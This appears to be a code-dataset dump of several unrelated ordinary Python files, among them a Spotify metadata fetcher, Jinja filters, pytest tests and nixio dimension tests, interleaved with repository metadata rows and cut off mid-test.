#!/usr/bin/env python import os, sys import requests import json import urllib from subprocess import call class MetadataSpotify: def get_metadata(self, track, artist, imgPath): artistList = [] url = "https://api.spotify.com/v1/search?q=" + track + " artist:" + artist + "&type=track&limit=1" response = requests.get(url) if response.status_code == 200: results = response.json() if results['tracks']['total'] >= 1: imgURL = results['tracks']['items'][0]['album']['images'][1]['url'] albumType = results['tracks']['items'][0]['album']['album_type'] albumName = results['tracks']['items'][0]['album']['name'] for i in range(0, len(results['tracks']['items'][0]['artists'])): artistList.append(results['tracks']['items'][0]['artists'][i]['name']) explicit = results['tracks']['items'][0]['explicit'] track_number = results['tracks']['items'][0]['track_number'] urllib.urlretrieve(imgURL, os.path.join(imgPath, track + " - " + artist + ".jpg")) return imgURL ,albumType ,albumName ,artistList ,explicit ,track_number else: # print "API Spotify: No existen coincidencias para \"" + track + "\" de \"" + artist + "\"." return None else: print "API Spotify: Error code %s" % response.status_code
38.272727
100
0.646873
158
1,263
5.126582
0.468354
0.128395
0.155556
0.164198
0.153086
0
0
0
0
0
0
0.014032
0.153603
1,263
32
101
39.46875
0.743686
0.088678
0
0.076923
0
0
0.226284
0
0
0
0
0
0
0
null
null
0
0.192308
null
null
0.038462
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
8e255b4ec592745c66a51f84dd7128ae8e5b4add
753
py
Python
braindead/jinja_filters.py
grski/braindead
9e780bd102c783a47a6393a2a6f3bc7090f2b7a5
[ "MIT" ]
18
2020-04-12T10:30:58.000Z
2021-08-19T16:37:45.000Z
braindead/jinja_filters.py
grski/braindead
9e780bd102c783a47a6393a2a6f3bc7090f2b7a5
[ "MIT" ]
null
null
null
braindead/jinja_filters.py
grski/braindead
9e780bd102c783a47a6393a2a6f3bc7090f2b7a5
[ "MIT" ]
1
2021-08-19T16:37:19.000Z
2021-08-19T16:37:19.000Z
# IMPORTANT: every registered filter must start with the phrase 'jinja_' from jinja2 import contextfilter from braindead.constants import CONFIG from braindead.i18n import TRANSLATIONS @contextfilter def jinja_i18n(context: dict, slug: str, *args) -> str: """ Tries to find proper translation for a given slug for a given language. If it's not found, replaces it with the default value for the default language. If the string is not found it raises and error. Hence it's important to have translations for all strings in default language. """ for obj in [context, *args]: if language := obj.get("language"): # NOQA return TRANSLATIONS[slug][language] return TRANSLATIONS[slug][CONFIG["language"]]
37.65
109
0.721116
105
753
5.152381
0.533333
0.025878
0.033272
0
0
0
0
0
0
0
0
0.008347
0.204515
753
19
110
39.631579
0.894825
0.471448
0
0
0
0
0.04336
0
0
0
0
0
0
1
0.111111
false
0
0.333333
0
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
8e2ae02867be1548402493d29d028d825aa9451e
404
py
Python
src/Vehicle.py
MarcoFavorito/google-hashcode-2018
66f46f813c289768b2423326a3055a271ea4bfbb
[ "MIT" ]
null
null
null
src/Vehicle.py
MarcoFavorito/google-hashcode-2018
66f46f813c289768b2423326a3055a271ea4bfbb
[ "MIT" ]
null
null
null
src/Vehicle.py
MarcoFavorito/google-hashcode-2018
66f46f813c289768b2423326a3055a271ea4bfbb
[ "MIT" ]
null
null
null
from src.utils import distance class Vehicle(object): def __init__(self, id): self.id = id self.rides = [] self.position= (0,0) self.time = 0 #position deve essere una lista di 2 interi (x,y) def move(self, position): self.time = distance(position, self.position) self.position = position def __str__(self): return str(self.id)
22.444444
53
0.59901
54
404
4.333333
0.518519
0.205128
0.136752
0
0
0
0
0
0
0
0
0.014035
0.294554
404
17
54
23.764706
0.807018
0.118812
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0.083333
0.083333
0.5
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
8e30a554b83a636b08ce0a951a9f2089f538d685
1,108
py
Python
tests/vendor/test_pytest.py
webyneter/python-humble-utils
38043f248ba1cbca0116e00c08390775d784cc79
[ "MIT" ]
13
2017-06-28T19:58:05.000Z
2021-09-26T16:06:04.000Z
tests/vendor/test_pytest.py
webyneter/python-humble-utils
38043f248ba1cbca0116e00c08390775d784cc79
[ "MIT" ]
818
2017-06-27T10:40:07.000Z
2021-06-28T14:28:08.000Z
tests/vendor/test_pytest.py
webyneter/python-humble-utils
38043f248ba1cbca0116e00c08390775d784cc79
[ "MIT" ]
4
2017-06-29T17:31:26.000Z
2021-09-26T16:06:05.000Z
from pytest import raises from python_humble_utils.vendor.pytest import generate_tmp_file_path from tests.conftest import FileMeta def test_relative_tmp_dir_path_given__generate_tmp_file_path_succeeds( tmpdir_factory, file_meta: FileMeta ): assert ( generate_tmp_file_path( tmpdir_factory, file_meta.name_with_extension, tmp_dir_path=file_meta.dir_path ) == tmpdir_factory.getbasetemp() / file_meta.dir_path / file_meta.name_with_extension ) def test_absolute_tmp_dir_path_given__generate_tmp_file_path_succeeds( tmpdir_factory, file_meta: FileMeta ): with raises(ValueError): generate_tmp_file_path( tmpdir_factory, file_meta.name_with_extension, tmp_dir_path=(tmpdir_factory.getbasetemp() / file_meta.dir_path), ) def test_no_tmp_dir_path_given__generate_tmp_file_path_succeeds( tmpdir_factory, file_meta: FileMeta ): assert ( generate_tmp_file_path(tmpdir_factory, file_meta.name_with_extension) == tmpdir_factory.getbasetemp() / file_meta.name_with_extension )
30.777778
92
0.755415
146
1,108
5.157534
0.219178
0.116866
0.139442
0.176627
0.763612
0.665339
0.665339
0.665339
0.665339
0.552457
0
0
0.185018
1,108
35
93
31.657143
0.833887
0
0
0.357143
1
0
0
0
0
0
0
0
0.071429
1
0.107143
false
0
0.107143
0
0.214286
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
8e43b2a17f620e3b6cedd2b95be1781738cc71a1
683
py
Python
foxylib/tools/random/tests/test_random_tool.py
foxytrixy-com/foxylib
94b8c5b9f8b12423393c68f7d9f910258840ed18
[ "BSD-3-Clause" ]
null
null
null
foxylib/tools/random/tests/test_random_tool.py
foxytrixy-com/foxylib
94b8c5b9f8b12423393c68f7d9f910258840ed18
[ "BSD-3-Clause" ]
3
2019-12-12T05:17:44.000Z
2022-03-11T23:40:50.000Z
foxylib/tools/random/tests/test_random_tool.py
foxytrixy-com/foxylib
94b8c5b9f8b12423393c68f7d9f910258840ed18
[ "BSD-3-Clause" ]
2
2019-10-16T17:39:34.000Z
2020-02-10T06:32:08.000Z
import logging from functools import partial from pprint import pprint from random import randint from unittest import TestCase from foxylib.tools.log.foxylib_logger import FoxylibLogger from foxylib.tools.random.random_tool import RandomTool class TestRandomTool(TestCase): @classmethod def setUpClass(cls): FoxylibLogger.attach_stderr2loggers(logging.DEBUG) def test_01(self): logger = FoxylibLogger.func_level2logger(self.test_01, logging.DEBUG) x, y = RandomTool.lasvegas( lambda: (randint(1, 6), randint(1, 6)), lambda p: p[0] != p[1] ) pprint({'x': x, 'y': y}) self.assertNotEqual(x, y)
26.269231
77
0.686676
85
683
5.447059
0.470588
0.012959
0.069114
0
0
0
0
0
0
0
0
0.022472
0.218155
683
25
78
27.32
0.844569
0
0
0
0
0
0.002928
0
0
0
0
0
0.052632
1
0.105263
false
0
0.368421
0
0.526316
0.105263
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
8e525919d9f46c6423bb235ee75e90ac1efad94f
218
py
Python
modules/NTFS/dfir_ntfs/__init__.py
naaya17/carpe
fa2e3cfebe20f8839c985e5b9b78b538800172a1
[ "Apache-2.0" ]
56
2019-02-07T06:21:45.000Z
2022-03-21T08:19:24.000Z
modules/NTFS/dfir_ntfs/__init__.py
naaya17/carpe
fa2e3cfebe20f8839c985e5b9b78b538800172a1
[ "Apache-2.0" ]
5
2020-05-25T17:29:00.000Z
2021-12-13T20:49:08.000Z
modules/NTFS/dfir_ntfs/__init__.py
naaya17/carpe
fa2e3cfebe20f8839c985e5b9b78b538800172a1
[ "Apache-2.0" ]
31
2019-03-13T10:23:49.000Z
2021-11-04T12:14:58.000Z
# dfir_ntfs: an NTFS parser for digital forensics & incident response # (c) Maxim Suhanov __version__ = '1.0.3' __all__ = [ 'MFT', 'Attributes', 'WSL', 'USN', 'LogFile', 'BootSector', 'ShadowCopy', 'PartitionTable' ]
36.333333
104
0.688073
26
218
5.423077
0.961538
0
0
0
0
0
0
0
0
0
0
0.016043
0.142202
218
5
105
43.6
0.737968
0.389908
0
0
0
0
0.5
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
f3d01648f6d9e4789f5d9cfe1a61d9531effe428
419
py
Python
lstm_hvac/utils/decorators.py
Robolabo/LSTM-HVAC
cc168716c1ce2096f336c8da532a6a80f5772b0f
[ "MIT" ]
5
2020-07-05T03:48:19.000Z
2022-03-08T03:11:10.000Z
lstm_hvac/utils/decorators.py
Robolabo/LSTM-HVAC
cc168716c1ce2096f336c8da532a6a80f5772b0f
[ "MIT" ]
null
null
null
lstm_hvac/utils/decorators.py
Robolabo/LSTM-HVAC
cc168716c1ce2096f336c8da532a6a80f5772b0f
[ "MIT" ]
1
2020-12-04T01:52:42.000Z
2020-12-04T01:52:42.000Z
import time def parametrized(dec): def layer(*args, **kwargs): def repl(f): return dec(f, *args, **kwargs) return repl return layer @parametrized def timer(func, note): def wrapper(*args, **kwargs): t1 = time.time() result = func(*args, **kwargs) t2 = time.time() print("Elapsed time({}): {:.3f}".format(note, t2 - t1)) return result return wrapper
20.95
58
0.572792
52
419
4.615385
0.423077
0.166667
0
0
0
0
0
0
0
0
0
0.016393
0.272076
419
19
59
22.052632
0.770492
0
0
0
0
0
0.06015
0
0
0
0
0
0
1
0.3125
false
0
0.0625
0.0625
0.6875
0.0625
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
f3d043fb62626660d320e19a7b03e4873c95b94d
1,718
py
Python
setup.py
cvrebert/TritonScraper
64b260fa09a5bad5d9d0e88e1263c4897b70edb3
[ "MIT" ]
5
2015-02-21T06:44:39.000Z
2017-11-07T09:55:58.000Z
setup.py
cvrebert/TritonScraper
64b260fa09a5bad5d9d0e88e1263c4897b70edb3
[ "MIT" ]
null
null
null
setup.py
cvrebert/TritonScraper
64b260fa09a5bad5d9d0e88e1263c4897b70edb3
[ "MIT" ]
3
2017-11-07T02:12:06.000Z
2021-01-10T19:47:29.000Z
#!/usr/bin/env python from sys import exit exit("Does not work yet") from setuptools import setup, find_packages setup( name = "TritonScraper", version = "0.5", packages = find_packages(), scripts = ['demo.py'], # Project uses reStructuredText, so ensure that the docutils get # installed or upgraded on the target machine install_requires = ['lxml>=2.2.8'], package_data = { # If any package contains *.txt or *.rst files, include them: '': ['*.txt', '*.rst'], # And include any *.msg files found in the 'hello' package, too: 'triton_scraper': ['config.cfg'], }, packages = ['triton_scraper'] package_dir = {'':'src'}, # tell distutils packages are under src exclude_package_data = { '': ['README.txt'] }, # metadata for upload to PyPI author = "Chris Rebert", author_email = "code@rebertia.com", description = "This is an Example Package", long_descripion = "" license = "MIT", keywords = "hello world example examples", url = "http://example.com/HelloWorld/", # project home page, if any # could also include long_description, download_url, classifiers, etc. platforms = [""], classifiers = ["Operating System :: OS Independent", "Development Status :: 4 - Beta", "License :: OSI Approved :: MIT License", "Natural Language :: English", "Intended Audience :: Developers", "Topic :: Education", "Topic :: Internet :: WWW/HTTP :: Browsers"], download_url = "", ) #FIXME: instead of using __file__: from pkg_resources import Requirement, resource_filename filename = resource_filename(Requirement.parse("MyProject"),"sample.conf")
33.686275
74
0.637369
196
1,718
5.479592
0.72449
0.022346
0
0
0
0
0
0
0
0
0
0.004532
0.229336
1,718
50
75
34.36
0.806647
0.25844
0
0
0
0
0.369462
0
0
0
0
0.02
0
0
null
null
0
0.085714
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
1
0
0
0
0
0
0
0
0
2
f3f1464b25d7fb07ad410d7786cd820ff797b402
150
py
Python
i/spider/factory.py
NewPracticer/python_study_route
d661a48f4904c19e629b6a71d8db2a4874706d4d
[ "Apache-2.0" ]
null
null
null
i/spider/factory.py
NewPracticer/python_study_route
d661a48f4904c19e629b6a71d8db2a4874706d4d
[ "Apache-2.0" ]
null
null
null
i/spider/factory.py
NewPracticer/python_study_route
d661a48f4904c19e629b6a71d8db2a4874706d4d
[ "Apache-2.0" ]
null
null
null
from analyser.lol import * class CategoryFactory(): @staticmethod def get_category(flag): if flag == 'LOL': return LOL()
18.75
27
0.6
16
150
5.5625
0.8125
0
0
0
0
0
0
0
0
0
0
0
0.293333
150
8
28
18.75
0.839623
0
0
0
0
0
0.019868
0
0
0
0
0
0
1
0.166667
false
0
0.166667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
f3f1de72c8ea2396b8f56afd89f76aa70d2d09b3
142
py
Python
helloworld.py
Jarrittto/banana
fb7f4bed4f5b978c710261f58910eb45e1569717
[ "MIT" ]
null
null
null
helloworld.py
Jarrittto/banana
fb7f4bed4f5b978c710261f58910eb45e1569717
[ "MIT" ]
null
null
null
helloworld.py
Jarrittto/banana
fb7f4bed4f5b978c710261f58910eb45e1569717
[ "MIT" ]
null
null
null
print('Hi') import numpy as np import matplotlib.pyplot as plt def main(): print('hello, world!') if __name__ == '__main__': main()
14.2
31
0.65493
20
142
4.25
0.75
0
0
0
0
0
0
0
0
0
0
0
0.197183
142
10
32
14.2
0.745614
0
0
0
0
0
0.160839
0
0
0
0
0
0
1
0.142857
true
0
0.285714
0
0.428571
0.285714
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
f3fc896f2ce8c8917c17f108d2e072e89dc3846c
189
py
Python
squares-of-a-sorted-array/squares-of-a-sorted-array.py
ARBII-xD/Solving-Leetcode-Problems
4631d66e46fce204afbe6d72e89aeedaf2192229
[ "MIT" ]
null
null
null
squares-of-a-sorted-array/squares-of-a-sorted-array.py
ARBII-xD/Solving-Leetcode-Problems
4631d66e46fce204afbe6d72e89aeedaf2192229
[ "MIT" ]
null
null
null
squares-of-a-sorted-array/squares-of-a-sorted-array.py
ARBII-xD/Solving-Leetcode-Problems
4631d66e46fce204afbe6d72e89aeedaf2192229
[ "MIT" ]
null
null
null
class Solution: def sortedSquares(self, nums: List[int]) -> List[int]: arr = [] for i in nums: sq = i*i arr.append(sq) return sorted(arr)
27
58
0.497354
24
189
3.916667
0.666667
0.148936
0
0
0
0
0
0
0
0
0
0
0.380952
189
7
59
27
0.803419
0
0
0
0
0
0
0
0
0
0
0
0
1
0.142857
false
0
0
0
0.428571
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
6d053e9600d8809cf89e3b9264b72c60d3784fb5
363
py
Python
CSCE/MathStuff/Math_Stuff.py
bgrose/TeachingPython
206cefe9056fc2e6efb35749aee3fefa6ec747fd
[ "Apache-2.0" ]
1
2020-06-14T01:44:44.000Z
2020-06-14T01:44:44.000Z
CSCE/MathStuff/Math_Stuff.py
bgrose/TeachingPython
206cefe9056fc2e6efb35749aee3fefa6ec747fd
[ "Apache-2.0" ]
null
null
null
CSCE/MathStuff/Math_Stuff.py
bgrose/TeachingPython
206cefe9056fc2e6efb35749aee3fefa6ec747fd
[ "Apache-2.0" ]
null
null
null
from statistics import median class Math_Stuff_Class: def Median(_list): ret = median(_list) return ret def Square(_list): ret = [] for i in _list: ret.append(i * i) return ret def Times_Table(_num): for x in range(1, 13): print(str(_num)+ " x " +str(x) + " = " + str(x*_num))
25.928571
66
0.520661
49
363
3.653061
0.510204
0.117318
0.134078
0
0
0
0
0
0
0
0
0.012931
0.360882
363
14
66
25.928571
0.758621
0
0
0.153846
0
0
0.019231
0
0
0
0
0
0
1
0.230769
false
0
0.076923
0
0.538462
0.076923
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
6d3a74cb69ed40d55cfbc29595b5c65a0d359c37
32,100
py
Python
nixio/test/test_dimensions.py
JuliaSprenger/nixpy
46d15954db664ae394ff2e19163958f6ed3c1fad
[ "BSD-3-Clause" ]
17
2015-01-12T16:16:54.000Z
2021-03-21T16:37:56.000Z
nixio/test/test_dimensions.py
JuliaSprenger/nixpy
46d15954db664ae394ff2e19163958f6ed3c1fad
[ "BSD-3-Clause" ]
354
2015-01-08T14:25:35.000Z
2022-03-25T14:10:56.000Z
nixio/test/test_dimensions.py
JuliaSprenger/nixpy
46d15954db664ae394ff2e19163958f6ed3c1fad
[ "BSD-3-Clause" ]
18
2015-06-09T22:34:19.000Z
2020-10-19T15:53:04.000Z
# -*- coding: utf-8 -*- # Copyright © 2014, German Neuroinformatics Node (G-Node) # # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted under the terms of the BSD License. See # LICENSE file in the root of the Project. from nixio.dimensions import SliceMode from nixio.exceptions.exceptions import IncompatibleDimensions import os import unittest import numpy as np import nixio as nix from .tmp import TempDir from collections import OrderedDict TEST_SAMPL = 0.1 TEST_LABEL = "test label" test_range = tuple([float(i) for i in range(10)]) test_labels = tuple([str(i) + "_label" for i in range(10)]) class TestDimension(unittest.TestCase): def setUp(self): self.tmpdir = TempDir("dimtest") self.testfilename = os.path.join(self.tmpdir.path, "dimtest.nix") self.file = nix.File.open(self.testfilename, nix.FileMode.Overwrite) self.block = self.file.create_block("test block", "recordingsession") self.array = self.block.create_data_array("test array", "signal", nix.DataType.Float, (0, )) self.set_dim = self.array.append_set_dimension() self.sample_dim = self.array.append_sampled_dimension(TEST_SAMPL) self.range_dim = self.array.append_range_dimension(test_range) def tearDown(self): del self.file.blocks[self.block.id] self.file.close() self.tmpdir.cleanup() def test_set_dimension(self): assert self.set_dim.index == 1 assert self.set_dim.dimension_type == nix.DimensionType.Set assert self.array.dimensions[0].index == 1 assert self.set_dim.labels == () self.set_dim.labels = test_labels assert self.set_dim.labels == test_labels assert self.set_dim.label is None self.set_dim.label = TEST_LABEL assert self.set_dim.label == TEST_LABEL self.set_dim.label = None assert self.set_dim.label is None def test_sample_dimension(self): assert self.sample_dim.index == 2 assert self.sample_dim.dimension_type == nix.DimensionType.Sample assert self.array.dimensions[1].index == 2 assert self.sample_dim.label is None self.sample_dim.label = TEST_LABEL assert self.sample_dim.label == TEST_LABEL self.sample_dim.label = None assert self.sample_dim.label is None assert self.sample_dim.unit is None self.sample_dim.unit = "mV" assert self.sample_dim.unit == "mV" self.sample_dim.unit = None assert self.sample_dim.unit is None assert self.sample_dim.sampling_interval == TEST_SAMPL self.sample_dim.sampling_interval = 1.123 assert self.sample_dim.sampling_interval == 1.123 assert self.sample_dim.offset is None self.sample_dim.offset = 0.3 assert self.sample_dim.offset == 0.3 self.sample_dim.offset = None assert self.sample_dim.offset is None self.sample_dim.sampling_interval = 2. self.sample_dim.offset = 3. assert self.sample_dim.index_of(3.14) == 0 assert self.sample_dim.index_of(23.) == 10 assert type(self.sample_dim.index_of(23.) == int) assert self.sample_dim.position_at(0) == 3. assert self.sample_dim.position_at(200) == 200 * 2. + 3. assert len(self.sample_dim.axis(10)) == 10 assert self.sample_dim.axis(10)[0] == 3. assert self.sample_dim.axis(10)[-1] == 9 * 2. + 3. assert len(self.sample_dim.axis(10, 2)) == 10 assert self.sample_dim.axis(10, 2)[0] == 2 * 2. + 3. assert self.sample_dim.axis(10, 2)[-1] == (9 + 2) * 2. + 3. with self.assertRaises(ValueError): self.sample_dim.axis(10, -10) self.sample_dim.axis(10, start_position=0.0) assert self.sample_dim.axis(10, 0, 5.0)[0] == 3 assert self.sample_dim.axis(10, start_position=5.0)[0] == 5.0 assert self.sample_dim.axis(10, start_position=5.0)[-1] == 5.0 + 9 * 2 with self.assertRaises(ValueError): self.sample_dim.range_indices(0, 1, mode="invalid") self.assertIsNone(self.sample_dim.range_indices(10, -10, mode=SliceMode.Inclusive)) range_indices = self.sample_dim.range_indices(2, 11, mode=SliceMode.Inclusive) assert range_indices[0] == 0 assert range_indices[-1] == 4 range_indices = self.sample_dim.range_indices(2, 11, mode=SliceMode.Exclusive) assert range_indices[0] == 0 assert range_indices[-1] == 3 range_indices = self.sample_dim.range_indices(3., 3.1, mode=SliceMode.Inclusive) assert range_indices[0] == 0 assert range_indices[-1] == 0 range_indices = self.sample_dim.range_indices(3., 3.1, mode=SliceMode.Exclusive) assert range_indices[0] == 0 assert range_indices[-1] == 0 range_indices = self.sample_dim.range_indices(3.1, 3.2, mode=SliceMode.Inclusive) self.assertIsNone(range_indices) range_indices = self.sample_dim.range_indices(3.1, 3.2, mode=SliceMode.Exclusive) self.assertIsNone(range_indices) range_indices = self.sample_dim.range_indices(3.1, 5.0, mode=SliceMode.Inclusive) self.assertIsNotNone(range_indices) range_indices = self.sample_dim.range_indices(3.1, 5.0, mode=SliceMode.Exclusive) self.assertIsNone(range_indices) def test_range_dimension(self): assert self.range_dim.index == 3 assert self.range_dim.dimension_type == nix.DimensionType.Range assert self.array.dimensions[2].index == 3 assert self.range_dim.label is None self.range_dim.label = TEST_LABEL assert self.range_dim.label == TEST_LABEL self.range_dim.label = None assert self.range_dim.label is None assert self.range_dim.unit is None self.range_dim.unit = "mV" assert self.range_dim.unit == "mV" self.range_dim.unit = None assert self.range_dim.unit is None assert self.range_dim.ticks == test_range other = tuple([i * 3.14 for i in range(10)]) self.range_dim.ticks = other assert self.range_dim.ticks == other assert self.range_dim.index_of(0.) == 0 assert self.range_dim.index_of(10.) == (np.floor(10. / 3.14)) assert self.range_dim.index_of(18.84) == 6 assert self.range_dim.index_of(28.26) == 9 assert self.range_dim.index_of(100.) == 9 assert self.range_dim.index_of(-100., mode=nix.IndexMode.GreaterOrEqual) == 0 assert self.range_dim.tick_at(0) == 0 assert self.range_dim.tick_at(9) == other[-1] with self.assertRaises(IndexError): self.range_dim.tick_at(100) assert self.range_dim.axis(10) == other assert self.range_dim.axis(2) == other[:2] assert self.range_dim.axis(2, 2) == other[2:4] with self.assertRaises(IndexError): self.range_dim.axis(10, 2) self.range_dim.axis(100) # ticks = (0.0, 3.14, 6.28, 9.42, 12.56, 15.7, 18.84, 21.98, 25.12, 28.26) with self.assertRaises(ValueError): self.range_dim.range_indices(0, 10, mode="invalid") with self.assertRaises(IndexError): self.range_dim.range_indices(10, -10) self.assertIsNone(self.range_dim.range_indices(3.15, 3.16, mode=SliceMode.Inclusive)) self.assertIsNone(self.range_dim.range_indices(3.15, 3.16, mode=SliceMode.Exclusive)) range_indices = self.range_dim.range_indices(3.14, 4.0, mode=SliceMode.Inclusive) assert range_indices[0] == 1 assert range_indices[1] == 1 range_indices = self.range_dim.range_indices(3.14, 4.0, mode=SliceMode.Exclusive) assert range_indices[0] == 1 assert range_indices[1] == 1 range_indices = self.range_dim.range_indices(6.2, 25.12, mode=SliceMode.Inclusive) assert range_indices[0] == 2 assert range_indices[1] == 8 range_indices = self.range_dim.range_indices(6.2, 25.12, mode=SliceMode.Exclusive) assert range_indices[0] == 2 assert range_indices[1] == 7 def test_set_dim_label_resize(self): setdim = self.array.append_set_dimension() labels = ["A", "B"] setdim.labels = labels assert tuple(labels) == setdim.labels newlabels = ["C", "B", "A"] setdim.labels = newlabels assert tuple(newlabels) == setdim.labels def test_set_dim_labels_array(self): labels = np.array(["A", "B"]) setdim = self.array.append_set_dimension(labels) assert tuple(labels) == setdim.labels def test_set_dim_invalid_labels(self): # don't accept non list-like labels with self.assertRaises(ValueError): self.array.append_set_dimension('Sample 1') with self.assertRaises(ValueError): self.array.append_set_dimension(1000) # don't accept list of non-string objects with self.assertRaises(ValueError): self.array.append_set_dimension([1, 2, 3]) def test_range_dim_ticks_resize(self): rangedim = self.array.append_range_dimension([1, 2, 100]) ticks = [1, 1, 30] rangedim.ticks = ticks assert tuple(ticks) == rangedim.ticks newticks = [2, 4, 300, 800] rangedim.ticks = newticks assert tuple(newticks) == rangedim.ticks def test_append_dim_init(self): slabels = ["label A", "label B"] setdim = self.array.append_set_dimension(slabels) assert tuple(slabels) == setdim.labels rticks = [1, 2, 10.3] rlabel = "range-label" runit = "ms" rdim = self.array.append_range_dimension(rticks, rlabel, runit) assert tuple(rticks) == rdim.ticks assert rlabel == rdim.label assert runit == rdim.unit sinterval = 0.25 slabel = "sample label" sunit = "us" soffset = 10 smpldim = self.array.append_sampled_dimension(sinterval, slabel, sunit, soffset) assert sinterval == smpldim.sampling_interval assert slabel == smpldim.label assert sunit == smpldim.unit assert soffset == smpldim.offset def test_set_dimension_modes(self): # exact assert self.set_dim.index_of(0) == 0 assert self.set_dim.index_of(0, nix.IndexMode.LessOrEqual) == 0 assert self.set_dim.index_of(0, nix.IndexMode.GreaterOrEqual) == 0 assert self.set_dim.index_of(7) == 7 assert self.set_dim.index_of(7, nix.IndexMode.LessOrEqual) == 7 assert self.set_dim.index_of(7, nix.IndexMode.LessOrEqual) == 7 assert self.set_dim.index_of(7, nix.IndexMode.GreaterOrEqual) == 7 assert self.set_dim.index_of(7, nix.IndexMode.Less) == 6 # rounding assert self.set_dim.index_of(4.2) == 4 assert self.set_dim.index_of(4.2, nix.IndexMode.LessOrEqual) == 4 assert self.set_dim.index_of(4.2, nix.IndexMode.Less) == 4 assert self.set_dim.index_of(4.2, nix.IndexMode.GreaterOrEqual) == 5 # valid oob below assert self.set_dim.index_of(-30, nix.IndexMode.GreaterOrEqual) == 0 self.set_dim.labels = test_labels # valid oob above assert self.set_dim.index_of(12989) == len(test_labels) - 1 assert self.set_dim.index_of(12989, nix.IndexMode.LessOrEqual) == len(test_labels) - 1 assert self.set_dim.index_of(12989, nix.IndexMode.Less) == len(test_labels) - 1 # invalid oob with self.assertRaises(IndexError): self.set_dim.index_of(0, nix.IndexMode.Less) with self.assertRaises(IndexError): self.set_dim.index_of(-1, nix.IndexMode.Less) with self.assertRaises(IndexError): self.set_dim.index_of(-10, nix.IndexMode.LessOrEqual) with self.assertRaises(IndexError): self.set_dim.index_of(-10) with self.assertRaises(IndexError): self.set_dim.index_of(12398, nix.IndexMode.GreaterOrEqual) with self.assertRaises(IndexError): self.set_dim.index_of(len(test_labels) - 0.5, nix.IndexMode.GreaterOrEqual) with self.assertRaises(ValueError): self.set_dim.range_indices(0, 10, mode="invalid") with self.assertRaises(IndexError): self.set_dim.range_indices(10, -10) range_indices = self.set_dim.range_indices(0.1, 0.4, mode=SliceMode.Inclusive) self.assertIsNone(range_indices) range_indices = self.set_dim.range_indices(0.1, 0.4, mode=SliceMode.Exclusive) self.assertIsNone(range_indices) range_indices = self.set_dim.range_indices(0.1, 1.0, mode=SliceMode.Inclusive) self.assertIsNotNone(range_indices) assert range_indices[0] == 1 assert range_indices[1] == 1 range_indices = self.set_dim.range_indices(0.1, 1.0, mode=SliceMode.Exclusive) self.assertIsNone(range_indices) range_indices = self.set_dim.range_indices(0.1, 1.1, mode=SliceMode.Exclusive) self.assertIsNotNone(range_indices) assert range_indices[0] == 1 assert range_indices[1] == 1 range_indices = self.set_dim.range_indices(0, 9, mode=SliceMode.Exclusive) assert range_indices[0] == 0 assert range_indices[-1] == 8 range_indices = self.set_dim.range_indices(0, 9, mode=SliceMode.Inclusive) assert range_indices[0] == 0 assert range_indices[-1] == 9 def test_sampled_dimension_modes(self): # exact assert self.sample_dim.index_of(0) == 0 assert self.sample_dim.index_of(0, nix.IndexMode.LessOrEqual) == 0 assert self.sample_dim.index_of(0, nix.IndexMode.GreaterOrEqual) == 0 assert self.sample_dim.index_of(7.2) == 72 assert self.sample_dim.index_of(7.2, nix.IndexMode.LessOrEqual) == 72 assert self.sample_dim.index_of(7.2, nix.IndexMode.LessOrEqual) == 72 assert self.sample_dim.index_of(7.2, nix.IndexMode.GreaterOrEqual) == 72 assert self.sample_dim.index_of(7.2, nix.IndexMode.Less) == 71 assert self.sample_dim.index_of(7.3, nix.IndexMode.Less) == 72 # rounding assert self.sample_dim.index_of(4.205) == 42 assert self.sample_dim.index_of(4.205, nix.IndexMode.LessOrEqual) == 42 assert self.sample_dim.index_of(4.205, nix.IndexMode.Less) == 42 assert self.sample_dim.index_of(4.205, nix.IndexMode.GreaterOrEqual) == 43 # valid oob below assert self.sample_dim.index_of(-30, nix.IndexMode.GreaterOrEqual) == 0 # invalid oob with self.assertRaises(IndexError): self.sample_dim.index_of(0, nix.IndexMode.Less) with self.assertRaises(IndexError): self.sample_dim.index_of(-0.001, nix.IndexMode.Less) with self.assertRaises(IndexError): self.sample_dim.index_of(-1, nix.IndexMode.Less) with self.assertRaises(IndexError): self.sample_dim.index_of(-10, nix.IndexMode.LessOrEqual) with self.assertRaises(IndexError): self.sample_dim.index_of(-10) # with offset offset = 3.1 self.sample_dim.offset = offset # valid oob below assert self.sample_dim.index_of(-30, nix.IndexMode.GreaterOrEqual) == 0 assert 